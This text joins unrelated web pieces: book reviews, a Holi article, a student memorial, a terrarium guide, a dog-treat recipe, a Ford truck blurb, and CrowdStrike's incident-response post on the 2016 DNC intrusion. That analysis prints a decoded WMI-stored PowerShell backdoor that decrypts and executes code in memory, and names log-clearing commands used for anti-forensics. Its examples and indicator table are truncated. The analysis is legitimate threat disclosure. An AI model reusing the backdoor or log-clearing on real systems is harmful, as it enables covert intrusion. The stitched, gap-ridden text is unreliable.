GreatIt is such an interesting look into Kiev and where he came from and how he got where he is now. I am exploding to see how they all ended up at the real Shade. I am off to Read book three!
Much better! The first book was a good view into watching Kiev and Mona fall for each other and glimpse of their background but now, this book answers all the questions for Mona. An easy read but still a good story.


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Holi and Nowruz
April 27, 2018
There are thousands of holidays and celebrations that are celebrated all around the world. Some are in specific regions, belong to specific religions, or are only celebrated in certain countries. The list goes on and on. There are still holidays and celebrations being made to this day. Yet, there are still big celebrations that some have never heard of, two of them possibly being Holi or Nowruz.
Holi is a festival that is celebrated in India that has been in existence for thousands of years and marks the beginning of spring. It is celebrated on the last full moon day of the Hindu lunisolar calendar month. It is usually in March, but it starts earlier in West Bengal and Odisha. In Northern Uttar Pradesh, the festivities last over a week. The origins of this festival go back to the Hindu legend of Holika. Holika was a female demon and the sister of the demon King Hiranyakashyap. The legend goes that Hiranyakashyap thought he was the supreme overlord of everything and everyone. This meant that when Prahlad, his son, put his faith in and followed Vishnu, Hiranyakashyap became furious and wanted to kill his son. He ordered his son to sit on Holika's lap as they went into a bonfire. He knew that Holika had special garments that protected her from fire, but by having the boy sit in her lap, the garments wrapped around Prahlad and Holika burned to death. Then in the aftermath, Vishnu came to Hiranyakashyap and killed him. To celebrate her cremation, on the day before Holi, called Holika Dahan, people of India make bonfires and burn them. The day afterwards is called Holi, which is most commonly associated with throwing colors and water. The actual holiday was first brought up in a 4th century poem and then again in a 7th century Sanskrit play called "Ratnavali" written by then Indian Emperor Harsha. It was said that the tradition of throwing colors on each other comes from the story of Radha and Krishna. Krishna, the dark-complexioned god, had complained to his mom that Radha had very poor skin. His mom responded by telling him to paint his face so that it looks good. That's what he did and now people throw colored powder during Holi. There are also some rules with Holi. For example, children should throw water onto elders and women should splash the men with color. However, people are having too much fun and forget all the rules. When asked about it, sophomore Daevan Mangalmurti said that he usually spends the holiday solely by telling his grandmother, "Happy Holi", but he has thrown colors a few times in his life.
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In Memoriam: Cory Burton
Photo courtesy of Ben Warrington August 08, 2016
Campus community remembers student Cory Burton
Members of the University of Delaware community are remembering Cory Andrew Burton, a student in the University's Associate in Arts Program in Georgetown, who died suddenly on June 30, at the age of 20.
Mr. Burton had just completed two years in the program as an English literature major.
"The loss of a student so full of promise is heartbreaking," said José-Luis Riera, UD dean of students. "On behalf of everyone at the University, I extend our deepest condolences to Cory's family, friends, professors and fellow students."
From Wednesday through Friday, Aug. 10-12, flags on the Newark campus will be lowered in Mr. Burton's memory.
Anne Colwell, associate professor in the program, said, "One of the things I loved about having Cory in my classroom was his wonderful sense of humor. He saw the ironies and absurdities in the world, and his laughter, even if restrained, bubbled up into his eyes. Cory wanted to be a writer, and his work showed his love of language and his appreciation for the music and emotion in the words. Cory had enormous intellectual and creative potential. I think that he was just beginning to realize the depth and scope of his own abilities. I will miss Cory, and I think of him often."
Ethan Joella, who serves on the English and social sciences faculty in the program, said, "I was fortunate to know Cory as a student in my psychology course. He was shy and courteous and always finished his exams first. He had a knack for making everyone around him smile, and I can still see him leaning back to say something to his friend who sat behind him. In his essay, he referred to himself as "a peaceful guy," and I think he hit the nail on the head. It was a pleasure to have him in my class."
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His friend Ben Warrington, a UD junior from Millsboro, shared this tribute:
"I never could have imagined living in a world without my closest friend, Cory Andrew Burton. Like many of you, I was lucky, I had the privilege to experience the 20-year whirlwind that was distinctively Cory. However, I don't want to take this opportunity to simply talk about the character of Cory; he was an amazing individual, but anyone that was lucky enough to cross paths with Cory already knows that. Instead, I want to give the readers a look into my eyes, eyes that until now had never seen a world without Cory.
"My earliest memories of Cory, come from kindergarten; a friendship that never saw a dull moment. From the beginning, Cory always saw the world with an energetically open mind. The bane of Cory's existence throughout our childhood days was attempting to contain this overwhelming energy in a classroom environment. Paired with strong leadership skills, Cory always had the ability to implicate me in his high jinks; nevertheless, I always admired his spirit. Looking back, I really do feel for our teachers we were an unstoppable force. It would only take about a week or so for our teachers to understand that Cory & Ben could not be seated together. I can recall one middle school seating chart vividly. I was banished to the forward right corner, Cory the back left, and our other childhood friend (and fellow miscreant), Logan, forced to the back right corner. With each turn of our science teacher's head, a tennis ball from under our chairs would go flying across the classroom. Naturally Ben was the only one to ever be caught in the act (even though I know that the teacher clearly saw Cory throw that tennis ball), but I guess at this point I can let it slide. The tennis balls were promptly removed from the chairs in the science room.
"As we matured, Cory never lost his zealous outlook towards the world, what he referred to as 'good vibes.' Cory's mind was a constant flurry, filled always with the next big idea. Each of these wild ideas, needed to be vetted through someone. One, two, three in the morning, it didn't matter; Cory's favorite pastime was waking up an invariably cranky Ben. The last conversation that I had with Cory, along with our other closest friends Jack, Jon, Josh and Colin, was about Cory's enthusiasm for what we were referring to as an 'idea brunch.' For those of you that don't know what an idea brunch is, it's where a group of friends get together to bounce ideas off of one another, in order to help develop each other's thoughts. I only know this because Cory was very quick to correct me when I let him know that I really didn't have any ideas for said meeting. In Cory's own words '[the] idea brunch isn't about individual ideas, it's about getting ideas flowing, and building off of each other.' As I sit here, in the small cemetery where my best friend rests, I cannot help but to wonder what next big plan Cory was saving for that coming Sunday.
"As the tears begin to flow, I know that it's time for me to begin wrapping up my writing. I wasn't able to hold myself together at Cory's funeral, so I'm grateful to be able to put my final goodbye in writing. Cory, thank you for bringing so much love and excitement into my life. In life, you continually pushed me to be a more outgoing, optimistic individual; and in death, you offer a divine light that I continually look to for guidance. As The Beatles most famously said: 'Shine on until tomorrow, let it be.'"
Cory Andrew Burton
A resident of Millsboro, Delaware, Mr. Burton was born on June 6, 1996, at Kent General Hospital in Dover, Delaware. After attending East Millsboro Elementary School and Millsboro Middle School, he graduated in 2014 from Sussex Central High School, where he participated in tennis, wrestling and cross country. During elementary, middle school and his first year of high school, Mr. Burton was on an Indian River School District Odyssey of the Mind team that won its way to World Finals every year.
He attended Harbeson United Methodist Church with his family, was an acolyte from the age of 7 and participated in the youth group at both Hickory Hill and Harbeson United Methodist churches as a young teenager.
He enjoyed working as a host and server at The Brick Hotel and Restaurant in Georgetown and in his free time loved listening to music and spending time with his friends, especially at the beach.
For many years, he played volleyball and basketball with his father through the IRSD Adult Education program. When he wasn't working out at home, he was at the World Gym in Millsboro, where he had been a member since he was old enough to join. He also enjoyed his annual family trip to Myrtle Beach, South Carolina.
Mr. Burton is survived by his parents, Andy and Becky Burton of Millsboro; his sister, Ashley Burton and fiancé Jeff Carr of Newark; maternal grandparents, Glen and Mildred Albert of Harbeson; paternal grandmother Una Lee Burton of Dagsboro; aunts and uncles Jim and Shirley Albert of Street, Maryland, Susan and Clem Eaton of Evansville, Indiana, Glenda and Larry Fischer of Nokesville, Virginia, Gary and Reggie Albert of Manesquan, New Jersey, Donna and Jeff Revel and Debbie Ash of Millsboro, and many cousins and friends.
A funeral service was held July 9 at Harbeson United Methodist Church.
Contributions in Mr. Burton's memory may be made to Harbeson United Methodist Church, 18647 Harbeson Rd., P.O. Box 45, Harbeson, DE 19951. Condolences may be shared online.
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Introduction: How to Make a Terrarium
A terrarium is a small ecosystem in a glass container, either sealed or open, made up of soils and plants. If sealed, it should be able to open up for watering and maintenance. A terrarium is typically used as a decorative piece but can also be educational. For example, a teacher could pair a terrarium-building activity with a lesson about ecosystems as a fun way to learn the information.
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Which type of terrarium do I choose?
There are two types of terrariums: closed and open terrariums.
Closed terrariums have a lid to seal up the container, using evaporated moisture from the soil to create a small water cycle environment and be mostly self-regulating with little maintenance. Closed terrariums should not be placed in direct sunlight, as this intensity of heat can "cook" your plants and kill them. Closed terrariums should also be opened periodically (at least once a month for 10-20 minutes) to allow fresh air to populate the environment.
Open terrariums do not have a water cycle like closed terrariums, meaning they must be watered more frequently. The amount of watering necessary depends on the plant used and the layers contained within the terrarium, as some of them hold and dispel water at different rates.
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The decision on the type of container to use should be made as a result of the type of plant you wish to house, the type of terrarium you want (open or closed), and your overall aesthetic desired for the terrarium. If you want a closed terrarium, be sure to get a container with a lid. Glass or plastic is fine, just so long as the container is free of chemicals or unknown liquids, as these can kill the plants or attract bugs.
What type of plant do I use?
Both open and closed terrariums can house a variety of plants. However, closed terrariums are more popular for use with moisture-loving plants like ferns, ivy, and mosses, and are ideal for the user who wants to care for the plants minimally. Open terrariums are typically favored for normal house plants, succulents, and cacti. Succulents and cacti require very little maintenance, so these are popular for those who want an open terrarium with little maintenance. Overall, the type of plants to put in your terrarium is up to you, and research should be done on the needs of each specific plant as well as the size it will grow to so it does not outgrow your container.
Step 2: Materials
- Container
- Rocks, Pebbles, Gravel, or Sand
- Horticultural/Activated Charcoal
- Moss (Optional)
- Soil
- Plant of Your Choice
- Optional: Decorations
Buy your rocks, charcoal, moss, and soil here.
Step 3: Preparation
- Be sure to lay down a cover over your work surface before beginning.
- Have on old clothes, put away anything that you do not wish to get dirty, and be prepared to get messy!
- Working with plants and soil is not a job for those afraid to get a little dirty.
- Charcoal leaves a dark residue on anything it touches, so be careful not to get it on anything besides your hands and the inside of the container unless you are prepared to wash whatever it touches.
- If your container has a narrow opening, have some type of aid to help you place the materials inside (such as a funnel, spoon, or something else you have laying around).
- Plan the amounts of each material you wish to put into the terrarium. It's hard to take out some of the bottom layer once the rest are in!
Step 4: Layer One - Rocks, Pebbles, Gravel, or Sand
Terrariums do not have a means of draining water. To combat this issue, a layer of rocks, pebbles, gravel, or sand should be placed in the bottom of the terrarium to provide a place for excess water to go. By providing a place for drainage, the terrarium will be much easier to maintain and will help your plants live longer and healthier due to being provided an appropriate amount of water. The material used from the list above does not really matter, but should coincide with your aesthetic or theme desired for the terrarium.
Step 5: Layer Two - Charcoal
Since many terrariums are closed and do not have a way of dispersing old air until opened, a layer of charcoal should be added to keep things in the terrarium fresh. Adding charcoal is a good idea even if you are not using a closed terrarium, as excess water can begin to cause bacteria and mold to grow in the drainage layer whether in an open or closed environment. The charcoal acts to prevent these organisms from growing, as well as add a bit more protection for the drainage layer to keep plant roots from reaching the excess water.
Step 6: Layer Three - Moss (Optional)
A layer of sheet moss keeps the top layer of soil from working its way into the bottom layer of pebbles. Preventing the soil from moving into the drainage area is a good step for the aesthetics of the terrarium as well as the functionality of it. Aesthetically speaking, it keeps the terrarium from looking muddy, while functionally speaking, the soil stays where it needs to so that the plant stays nourished. Also, as a bonus, you do not have to keep adding soil once it moves to the bottom of the terrarium, nor do you have to try to work past all the other layers to clean out the bottom one.
Keep in mind, this step is not required for a good terrarium. Some people feel that the moss holds excess water and can become moldy, so whether or not you decide to include this step depends on personal preference. It also depends on the type of plant that you choose. A plant that does not need a lot of water may not do well with the excess water the moss holds, but you may decide that a plant that requires a lot of water would benefit from this layer.
Step 7: Layer Four - Soil
Just like with any plant, the one in your terrarium will need soil for it to grow. You want the soil layer to be thick enough for the roots to grow down into it, but not so thick that it holds too much water because that can cause mold to grow. A general amount of soil that you should strive for is approximately 25% of the container you are using.
Step 8: Add Plant(s)
The final step required for building your terrarium is to add your plant, or plants if the container you chose is big enough to hold multiple. To reinstate what was mentioned earlier, your plant needs to make sense with the type of container you have and the type of soil you plan on using. If you have enough room for multiple plants, you need to make sure that all the plants are similar. It would not make sense, nor would it make things easy, to have multiple plants that each need different amounts of water, light, or grow too large.
Step 9: Maintenance
To keep your terrarium looking healthy and beautiful, you must take care of it on a regular basis. Other than watering your plants an appropriate amount, some things you can do to help keep your terrarium clean are trim your plants so they do not outgrow your container, remove any dead leaves and plants from your terrarium, and remove and keep out any algae or mold.
Something extra you may want to do if you choose to have a closed terrarium is ventilate it every couple of weeks. Even though this type of terrarium is fairly self-sustaining, it should not just be forgotten. Open the container for a few hours to let it "breathe" then close it back up. If there is condensation then it is still good to sustain itself, but if condensation does not occur, now is a good time to give it some more water.
Step 10: Optional: Decorations to Make It Your Own
Decorating your terrarium is completely up to personal preference. You can put as little or as many trinkets in your terrarium as you desire. Just as an example for the sake of these instructions, you can see that we placed a few shells in our terrarium. Adding these, or any decoration, is purely for aesthetic purposes.
Giving your terrarium a theme is also completely up to personal preference. For example, if you want a cactus as a plant, you may want to give your terrarium a desert theme by using sand instead of pebbles or not including the layer of moss.
Step 11: Voila! You Now Have Your Very Own Terrarium!
You have completed the construction of your terrarium. Using the various layers to ensure your plant's health and maintaining the terrarium properly will provide you with a healthy organism ready to thrive in your kitchen, bedroom, dorm room, classroom, or anywhere else you believe needs a bit of nature. Thank you for using our step-by-step guide to creating your own terrarium. Be sure to give us a rating and come back for more how-to's on your favorite classroom and home projects. Thanks!
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CrowdStrike's work with the Democratic National Committee: Setting the record straight
CrowdStrike is non-partisan – we routinely work with both Republican and Democratic organizations to protect them from cyber-attacks – along with thousands of other organizations around the world of all industries and sizes.
Here are a few key facts about CrowdStrike:
- We were founded in California and are headquartered in the heart of Silicon Valley in Sunnyvale, California. We are one of the fastest growing global companies in cybersecurity today.
- Our founders have no connections to Ukraine. Suggestions to the contrary are completely false.
- We have never had physical possession of the DNC servers. We conducted our investigation using a process called "imaging" — an established practice in cyber investigations that involves making a copy of the hard drives and memory. This is standard procedure for cyber investigations.
- We worked closely with law enforcement and provided all forensic evidence and analysis to the FBI as requested.
We are proud of our work and will remain focused on our mission of protecting our customers around the world from dangerous cyber threats.We are grateful that the media has debunked false claims about our work for the Democratic National Committee (DNC) in 2016:
- The Washington Post, The Russians manipulated our elections. We helped.
- An opinion piece by David Ignatius discussing the lessons from Thomas Rid's new book, making the case that the 2016 election meddling was a proven example of Russia's disinformation tenet.
- The New York Times, Republican-Led Review Backs Intelligence Findings on Russian Interference:
- A three-year review by the Republican-led Senate Intelligence Committee unanimously found that the intelligence community assessment stating that Russia breached the DNC was fundamentally sound and untainted by politics.
- NBC News, Meet the Press 12/29/19:
- Clint Watts and Chuck Todd discuss CrowdStrike and the conspiracy theory that has been debunked.
- Transcript here: https://www.nbcnews.com/meet-the-press/meet-press-december-29-2019-n1106036
- The Washington Post, In call to Ukraine's president, Trump revived a favorite conspiracy theory about the DNC hack:
- Discusses the CrowdStrike conspiracy theory and how it has been debunked.
- CNN Business, What is CrowdStrike and why is it part of the Trump whistleblower complaint?:
- Gives background on CrowdStrike and debunks the conspiracy theory
- Wired, How Trump's Ukraine Mess Entangled CrowdStrike:
- Discusses the CrowdStrike theory and debunks the idea that there is a missing server.
- NBC News, Debunking The Crowdstrike Conspiracy Theory
- Discusses the CrowdStrike theory and how it has been debunked.
- The Daily Beast, The Truth About Trump's Insane Ukraine 'Server' Conspiracy:
- Describes why Trump's theories about Ukraine and CrowdStrike have been debunked.
- CNN, "Don't miss the totally debunked conspiracy theory Donald Trump pushed in the Ukraine call"
- Discusses the conspiracy theory and how it has been debunked.
September 25, 2019 Update:
With regards to our investigation of the DNC hack in 2016, we provided all forensic evidence and analysis to the FBI. As we've stated before, we stand by our findings and conclusions that have been fully supported by the US Intelligence community.
FAQ on Recent News Coverage of CrowdStrike
Is your owner Ukrainian?
No. CrowdStrike was founded by George Kurtz and Dmitri Alperovitch. George is an American entrepreneur and recognized security expert, author, entrepreneur, and speaker. He also started Foundstone, a worldwide security products and services company that was acquired by McAfee in 2004.
CrowdStrike's Co-founder Dmitri Alperovitch is a Russia-born U.S. citizen, who has spent all of his adult life in the United States, and has no connection to Ukraine.
As a public company, our ownership is available on the SEC.gov website.
Do you stand behind your work for the DNC?
As we've repeatedly stated, we stand by the findings and analysis of our investigation, and, as detailed in our company statement, we've provided all forensic evidence and analysis to the FBI as requested. Additionally, our findings have been supported by the U.S. intelligence community and other cybersecurity companies.
The investigation is detailed on our blog below.
Did you comply with FBI's requests for information?
We've provided all forensic evidence and analysis to the FBI related to the DNC investigation as requested. We have never declined any request for information from the FBI related to this investigation, and there are no pending requests for information by the FBI.
Do you have the DNC servers?
We have never taken physical possession of any DNC servers. When cyber investigators respond to an incident, they capture that evidence in a process called "imaging." It involves making an exact byte-for-byte copy of the hard drives. They do the same for the machine's memory, capturing evidence that would otherwise be lost at the next reboot, and they monitor and store the traffic passing through the victim's network. This has been standard procedure in incident response investigations for decades. The images, not the computer's hardware, provide the evidence.
Our cloud-native, crowdsourced approach to solving cybersecurity enables us to deliver state- of-the-art protection to organizations big and small. Consequently, we are proud that customers from every major industry, level of government, and political affiliation turn to CrowdStrike to stop breaches.
Are you affiliated with the Democratic party?
CrowdStrike is not affiliated with any political party. We are a public cybersecurity company, and are non-partisan. We have done cybersecurity work for, and currently protect, both Republican and Democratic political organizations at the state, local, and federal level, and we have thousands of non-political companies and organizations as customers.
Do you have Secretary Hillary Clinton's email server? Have you ever had access to her emails?
No. We have never worked for Secretary Clinton or her campaign, and never had access to her server or emails.
Where can I find more information?
Many news outlets have written about CrowdStrike's investigation of the DNC hack and subsequent comments made by President Trump. You can learn more at:
- NBC News, November 14, 2019: Debunking The Crowdstrike Conspiracy Theory
- CNN, September 30, 2019: "Don't miss the totally debunked conspiracy theory Donald Trump pushed in the Ukraine call"
- AP/Washington Post, September 27, 2019: "Why Trump asked Ukraine's president about 'CrowdStrike'"
- Daily Beast, September 25, 2019: "The Truth About Trump's Insane Ukraine 'Server' Conspiracy"
- Wired, September 25, 2019: "How Trump's Ukraine Mess Entangled CrowdStrike"
- Daily Beast, July 17, 2019: "Trump's 'Missing DNC Server' Is Neither Missing Nor a Server"
- Security Week, October 4, 2018: "The DNC Hacker Indictment: A Lesson in Failed Misattribution"
- Daily Beast, July 16, 2018 : "Trump's 'Missing DNC Server' Is Neither Missing Nor a Server"
- Daily Beast, June 13, 2018: "Mueller Indicts 12 Russian Officers for Hacking Dems in 2016"
- U.S. Department of Justice Indictment, June 13, 2018: "Case 1:18-cr-00215-ABJ"
- ArsTechnica, March 23, 2018: "DNC "lone hacker" Guccifer 2.0 pegged as Russian spy after opsec fail"
- Tech Crunch, March 22, 2018: "More evidence ties alleged DNC hacker Guccifer 2.0 to Russian intelligence"
- AP, January 26, 2018: "Report: Dutch spies caught Russian hackers on tape"
- De Volkskrant, January 25, 2018: "Dutch Intelligence Watched Russian Hackers Attack the U.S"
- AP, November 2, 2017: "Russia hackers pursued Putin foes, not just US Democrats"
- The Hill, August 14, 2017: "Why the latest theory about the DNC not being hacked is probably wrong"
- Daily Beast, July 20, 2017: "Putin's Hackers Now Under Attack—From Microsoft"
- Washington Post, July 6, 2017: "Here's the public evidence that supports the idea that Russia interfered in the 2016 election"
- Senate testimony of Thomas Rid, March 30, 2017
- Senate testimony of Kevin Mandia, March 30, 2017
- Wired Magazine, March 5, 2017: "Hunting the DNC hackers: how Crowdstrike found proof Russia hacked the Democrats"
- New York Times, Jan. 6, 2017: "Intelligence Report on Russian Hacking" (includes full copy of the official U.S. Intelligence and Law Enforcement Agency report):
- New York Times, Dec. 13, 2016: "The Perfect Weapon: How Russian Cyberpower Invaded the U.S."
- Washington Post, June 20, 2016: "Cyber researchers confirm Russian government hack of Democratic National Committee"
- ThreatConnect Blog, June 17, 2016: "Rebooting Watergate: Tapping into the Democratic National Committee"
- SecureWorks Blog, June 16, 2016: "Russian Threat Group Targets Clinton Campaign"
June 15, 2016 UPDATE:
CrowdStrike stands fully by its analysis and findings identifying two separate Russian intelligence-affiliated adversaries present in the DNC network in May 2016. On June 15, 2016 a blog post to a WordPress site authored by an individual using the moniker Guccifer 2.0 claimed credit for breaching the Democratic National Committee. This blog post presents documents alleged to have originated from the DNC.
Whether or not this posting is part of a Russian Intelligence disinformation campaign, we are exploring the documents' authenticity and origin. Regardless, these claims do nothing to lessen our findings relating to the Russian government's involvement, portions of which we have documented for the public and the greater security community.
June 14, 2016
Bears in the Midst: Intrusion Into the Democratic National Committee
By Dmitri Alperovitch
There is rarely a dull day at CrowdStrike where we are not detecting or responding to a breach at a company somewhere around the globe. In all of these cases, we operate under strict confidentiality rules with our customers and cannot reveal publicly any information about these attacks. But on rare occasions, a customer decides to go public with information about their incident and give us permission to share our knowledge of the adversary tradecraft with the broader community and help protect even those who do not happen to be our customers. This story is about one of those cases.
CrowdStrike Services Inc., our Incident Response group, was called by the Democratic National Committee (DNC), the formal governing body for the US Democratic Party, to respond to a suspected breach. We deployed our IR team and technology and immediately identified two sophisticated adversaries on the network – COZY BEAR and FANCY BEAR. We've had lots of experience with both of these actors attempting to target our customers in the past and know them well. In fact, our team considers them some of the best threat actors out of all the numerous nation-state, criminal and hacktivist/terrorist groups we encounter on a daily basis. Their tradecraft is superb, operational security second to none and the extensive usage of 'living-off-the-land' techniques enables them to easily bypass many security solutions they encounter. In particular, we identified advanced methods consistent with nation-state level capabilities including deliberate targeting and 'access management' tradecraft – both groups were constantly going back into the environment to change out their implants, modify persistent methods, move to new Command & Control channels and perform other tasks to try to stay ahead of being detected. Both adversaries engage in extensive political and economic espionage for the benefit of the government of the Russian Federation and are believed to be closely linked to the Russian government's powerful and highly capable intelligence services.
COZY BEAR (also referred to in some industry reports as CozyDuke or APT 29) is the adversary group that last year successfully infiltrated the unclassified networks of the White House, State Department, and US Joint Chiefs of Staff. In addition to the US government, they have targeted organizations across the Defense, Energy, Extractive, Financial, Insurance, Legal, Manufacturing Media, Think Tanks, Pharmaceutical, Research and Technology industries, along with Universities. Victims have also been observed in Western Europe, Brazil, China, Japan, Mexico, New Zealand, South Korea, Turkey and Central Asian countries. COZY BEAR's preferred intrusion method is a broadly targeted spearphish campaign that typically includes web links to a malicious dropper. Once executed on the machine, the code will deliver one of a number of sophisticated Remote Access Tools (RATs), including AdobeARM, ATI-Agent, and MiniDionis. On many occasions, both the dropper and the payload will contain a range of techniques to ensure the sample is not being analyzed on a virtual machine, using a debugger, or located within a sandbox. They have extensive checks for the various security software that is installed on the system and their specific configurations. When specific versions are discovered that may cause issues for the RAT, it promptly exits. These actions demonstrate a well-resourced adversary with a thorough implant-testing regime that is highly attuned to slight configuration issues that may result in their detection, and which would cause them to deploy a different tool instead. The implants are highly configurable via encrypted configuration files, which allow the adversary to customize various components, including C2 servers, the list of initial tasks to carry out, persistence mechanisms, encryption keys and others. An HTTP protocol with encrypted payload is used for the Command & Control communication.
FANCY BEAR (also known as Sofacy or APT 28) is a separate Russian-based threat actor, which has been active since mid 2000s, and has been responsible for targeted intrusion campaigns against the Aerospace, Defense, Energy, Government and Media sectors. Their victims have been identified in the United States, Western Europe, Brazil, Canada, China, Georgia, Iran, Japan, Malaysia and South Korea. Extensive targeting of defense ministries and other military victims has been observed, the profile of which closely mirrors the strategic interests of the Russian government, and may indicate affiliation with Главное Разведывательное Управление (Main Intelligence Department) or GRU, Russia's premier military intelligence service. This adversary has a wide range of implants at their disposal, which have been developed over the course of many years and include Sofacy, X-Agent, X-Tunnel, WinIDS, Foozer and DownRage droppers, and even malware for Linux, OSX, IOS, Android and Windows Phones. This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target. Afterwards, they establish phishing sites on these domains that spoof the look and feel of the victim's web-based email services in order to steal their credentials. FANCY BEAR has also been linked publicly to intrusions into the German Bundestag and France's TV5 Monde TV station in April 2015.
At DNC, COZY BEAR intrusion has been identified going back to summer of 2015, while FANCY BEAR separately breached the network in April 2016. We have identified no collaboration between the two actors, or even an awareness of one by the other. Instead, we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials. While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other's operations, in Russia this is not an uncommon scenario. "Putin's Hydra: Inside Russia's Intelligence Services", a recent paper from European Council on Foreign Relations, does an excellent job outlining the highly adversarial relationship between Russia's main intelligence services – Федеральная Служба Безопасности (FSB), the primary domestic intelligence agency but one with also significant external collection and 'active measures' remit, Служба Внешней Разведки (SVR), the primary foreign intelligence agency, and the aforementioned GRU. Not only do they have overlapping areas of responsibility, but also rarely share intelligence and even occasionally steal sources from each other and compromise operations. Thus, it is not surprising to see them engage in intrusions against the same victim, even when it may be a waste of resources and lead to the discovery and potential compromise of mutual operations.
The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation (WMI) system, which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule. The Powershell backdoor is ingenious in its simplicity and power. It consists of a single obfuscated command setup to run persistently, such as:
This decodes to:
function perfCr($crTr, $data){
$ret = $null
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.Security.Cryptography.CryptoStream -ArgumentList @($ms, $crTr, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cs.Write($data, 0, $data.Length)
$ret = $ms.ToArray()
return $ret
function decrAes($encData, $key, $iv)
$ret = $null
$prov = New-Object System.Security.Cryptography.RijndaelManaged
$prov.Key = $key
$prov.IV = $iv
$decr = $prov.CreateDecryptor($prov.Key, $prov.IV)
$ret = perfCr $decr $encData
return $ret
function sWP($cN, $pN, $aK, $aI)
if($cN -eq $null -or $pN -eq $null){return $false}
$wp = ([wmiclass]$cN).Properties[$pN].Value
$exEn = [Convert]::FromBase64String($wp)
$exDec = decrAes $exEn $aK $aI
$ex = [Text.Encoding]::UTF8.GetString($exDec)
if($ex -eq $null -or $ex -eq ")
Invoke-Expression $ex
return $true
return $false
$aeK = [byte[]] (0xe7, 0xd6, 0xbe, 0xa9, 0xb7, 0xe6, 0x55, 0x3a, 0xee, 0x16, 0x79, 0xca, 0x56, 0x0f, 0xbc, 0x3f, 0x22, 0xed, 0xff, 0x02, 0x43, 0x4c, 0x1b, 0xc0, 0xe7, 0x57, 0xb2, 0xcb, 0xd8, 0xce, 0xda, 0x00)
$aeI = [byte[]] (0xbe, 0x7a, 0x90, 0xd9, 0xd5, 0xf7, 0xaa, 0x6d, 0xe9, 0x16, 0x64, 0x1d, 0x97, 0x16, 0xc0, 0x67)
sWP 'Wmi' 'Wmi' $aeK $aeI | Out-Null
This one-line powershell command, stored only in WMI database, establishes an encrypted connection to C2 and downloads additional powershell modules from it, executing them in memory. In theory, the additional modules can do virtually anything on the victim system. The encryption keys in the script were different on every system. Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes.
FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via rundll32 commands such as:
In addition, FANCY BEAR's X-Tunnel network tunneling tool, which facilitates connections to NAT-ed environments, was used to also execute remote commands. Both tools were deployed via RemCOM, an open-source replacement for PsExec available from GitHub. They also engaged in a number of anti-forensic analysis measures, such as periodic event log clearing (via wevtutil cl System and wevtutil cl Security commands) and resetting timestamps of files.
Intelligence collection directed by nation state actors against US political targets provides invaluable insight into the requirements directed upon those actors. Regardless of the agency or unit tasked with this collection, the upcoming US election, and the associated candidates and parties are of critical interest to both hostile and friendly nation states. The 2016 presidential election has the world's attention, and leaders of other states are anxiously watching and planning for possible outcomes. Attacks against electoral candidates and the parties they represent are likely to continue up until the election in November.
Indicators of Compromise:
|IOC Type
|Additional Info
|pagemgr.exe (SeaDaddy implant)
(SeaDaddy implant)
|SeaDaddy implant C2
|SeaDaddy implant C2
|Powershell implant C2
|Powershell implant C2
(64-bit X-Agent implant)
|VmUpgradeHelper.exe (X-Tunnel implant)
(X-Tunnel implant)
|X-Agent implant C2
|X-Tunnel implant C2
|X-Tunnel implant C2
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Debug any APK file
With VisualGDB you can easily debug APK files built by other build environments. Just click "Android->Debug a Custom APK File", select an APK file, verify the library locations and click "Debug" to enjoy the power of Visual Studio debugger.
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In our house, holiday gift-giving isn't just celebrated with the amazing people in our lives. We spread the holiday cheer to our furry friends as well. There are many people who enjoy the company of their pups, and it is so great to be able to recognize that. I always try to make a special treat for the VIPs (very important pets) in our lives. I think it is safe to say pet lovers around will enjoy receiving homemade treats for their pets just as much as their puppies will enjoy eating them.
Peanut Butter Dog Treats
What you'll need:
- ½ cup of water
- ½ cup oil
- 2 eggs
- 3 T. peanut butter
- 2 t. vanilla extract
- 2 cups whole wheat flour
- ½ cup cornmeal
- ½ cup steel cut oats
The process:
Preheat the oven to 400 degrees.
In a large bowl or stand mixer, blend the wet ingredients. Once these are combined, add in the dry ingredients and mix through.
Form the dough into teaspoon sized balls and roll smooth. Place on a baking sheet. You can keep these close together because their size will not change. Bake for 20 minutes. After 20 minutes, turn off the oven and allow the treats to cool inside the oven. They will get very crispy.
Store in an airtight container and share with the greatest pups in your life!
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The DAP Quality Manual and Procedure Job Aid will enable and assist you on developing your own DAP quality manual. It will provide guidance on the applicable ISO/IEC 17025 requirements (required for UL's DAP program) provides examples of typical procedures. The job aid section includes a template for creating a document control procedure.
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Ford Motor Company presented its brand new 2014 Ford F350 Super Duty during the Vehicle Showcase. The F350 Super Duty has been America's best-selling truck for over 35 straight years, built Ford tough and approved for use with B20 biodiesel blends.
Steve Kelley is Fleet Manager for Mossy Ford San Diego. He shares insights into Ford's new F350 and walks you through all aspects of the Super Duty's traits.
"This particular engine is a 6.7, it has a 400 horsepower and 800 foot pounds of torque. It also has a 12,500 towing capacity on it. The Platinum, top of the line truck, is $67,000."
You can listen to Steve's remarks here: Steve Kelley Remarks